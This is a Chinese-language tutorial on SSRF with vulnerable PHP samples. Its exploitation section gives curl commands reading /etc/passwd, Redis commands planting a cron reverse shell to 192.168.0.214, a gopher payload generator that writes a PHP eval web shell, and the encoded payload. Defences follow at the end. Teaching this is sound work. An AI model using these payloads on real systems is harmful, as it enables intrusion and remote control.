第四十二節(jié)課 風炫安全Web安全學習第四十一節(jié)課 SSRF漏洞演示與講解
SSRF(Server-Side Request Forgery:服務器端請求偽造)
0x01 漏洞簡介
Ssrf是一種由攻擊者構造形成由服務端發(fā)起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網(wǎng)無法訪問的內(nèi)部系統(tǒng)。
Example:
GET /index.php?url=http://google.com/ HTTP/1.1
Host: example.com
在這里,http://example.com 從它的服務器獲取 http://google.com

什么地方最容易出現(xiàn)SSRF
云服務器商。(各種網(wǎng)站數(shù)據(jù)庫操作)
有遠程圖片加載的地方。(編輯器之類的有遠程圖片加載啊)
網(wǎng)站采集、網(wǎng)頁抓取的地方。(很多網(wǎng)站會有新聞采集輸入url然后一鍵采集)
頭像的地方。(某易就喜歡遠程加載頭像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg) 最后一個一切要你輸入網(wǎng)址的地方和可以輸入ip的地方,都是ssrf的天下。
SSRF可以做什么
- 對服務器所在的內(nèi)網(wǎng)進行端口掃描,獲取一些服務的banner信息等
- 攻擊運行在內(nèi)網(wǎng)或者本地的應用程序
- 對內(nèi)網(wǎng)WEB應用進行指紋識別,通過訪問默認文件實現(xiàn)(Readme等文件)
- 攻擊內(nèi)外網(wǎng)的WEB應用,主要是GET就可以實現(xiàn)的攻擊(比如Struts2,SQL注入等)
- 下載內(nèi)網(wǎng)資源(利用file協(xié)議讀取本地文件等)
- 利用Redis未授權訪問,HTTP CRLF注入達到getshell
- wooyun峰會豬豬俠的ppt 進行跳板
- 無視cdn
0x02 漏洞講解
0x0201 函數(shù)
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()等函數(shù)使用不當會造成SSRF漏洞
file_get_contents()
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
file_get_content函數(shù)從用戶指定的url獲取內(nèi)容,并展示給用戶。file_put_content函數(shù)把一個字符串寫入文件中。
fsockopen()
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
fsockopen函數(shù)實現(xiàn)對用戶指定url數(shù)據(jù)的獲取,該函數(shù)使用socket(端口)跟服務器建立tcp連接,傳輸數(shù)據(jù)。變量host為主機名,port為端口,errstr表示錯誤信息將以字符串的信息返回,30為時限
curl_exec
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init();// 創(chuàng)建新的 cURL 資源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 設置 URL 和相應的選項
$result=curl_exec($curlobj);// 抓取 URL 并把它傳遞給瀏覽器
curl_close($curlobj);// 關閉 cURL 資源,并且釋放系統(tǒng)資源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
curl_exec函數(shù)用于執(zhí)行指定的cURL會話
0x0202 協(xié)議
(1)http/s:探測內(nèi)網(wǎng)主機存活
(2)file: 在有回顯的情況下,利用 file 協(xié)議可以讀取任意內(nèi)容
(3)dict:泄露安裝軟件版本信息,查看端口,操作內(nèi)網(wǎng)redis服務等
(4)gopher:gopher支持發(fā)出GET、POST請求:可以先截獲get請求包和post請求包,再構造成符合gopher協(xié)議的請求。gopher協(xié)議是ssrf利用中一個最強大的協(xié)議(俗稱萬能協(xié)議)。可用于反彈shell
0x03 漏洞利用
http協(xié)議探測主機存活
curl -vvv 'http://191.168.0.1:8080'
file協(xié)議讀取文件
curl -vvv 'file:///etc/passwd'
使用dict協(xié)議探測端口信息
curl -vvv 'dict://127.0.0.1:6379/info'
使用gopher協(xié)議攻擊redis,getshell
curl -v "gopher://127.0.0.1:6666/_info"
利用redis把payload保存到linux計劃任務,然后1分鐘之后執(zhí)行命令
set 1 "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.0.214/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
使用gopher攻擊內(nèi)網(wǎng)redis獲取權限
改成gopher協(xié)議格式腳本
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/Users/zhoumengying/code/study/ssrf"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)
生成的payload:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2459%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.0.214/2333%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
最后補充一下,可進行利用的cron有如下幾個地方:
- /etc/crontab 這個是肯定的
- /etc/cron.d/* 將任意文件寫到該目錄下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用這個目錄,可以做到不覆蓋任何其他文件的情況進行彈shell。
- /var/spool/cron/root centos系統(tǒng)下root用戶的cron文件
- /var/spool/cron/crontabs/root debian系統(tǒng)下root用戶的cron文件
0x04漏洞防御
1、禁用不需要的協(xié)議(如:file:///、gopher://,dict://等)。僅僅允許http和https請求
2、統(tǒng)一錯誤信息,防止根據(jù)錯誤信息判斷端口狀態(tài)
3、禁止302跳轉,或每次跳轉,都檢查新的Host是否是內(nèi)網(wǎng)IP,直到抵達最后的網(wǎng)址
4、設置URL白名單或者限制內(nèi)網(wǎng)IP
0x05 參考
http://blog.evalshell.com/2021/01/05/風炫安全web安全學習第四十二節(jié)課-ssrf漏洞演示與講解/
https://xz.aliyun.com/t/7405?accounttraceid=88b8ebbee5bb4ee6b62c004148f3f8e7ceje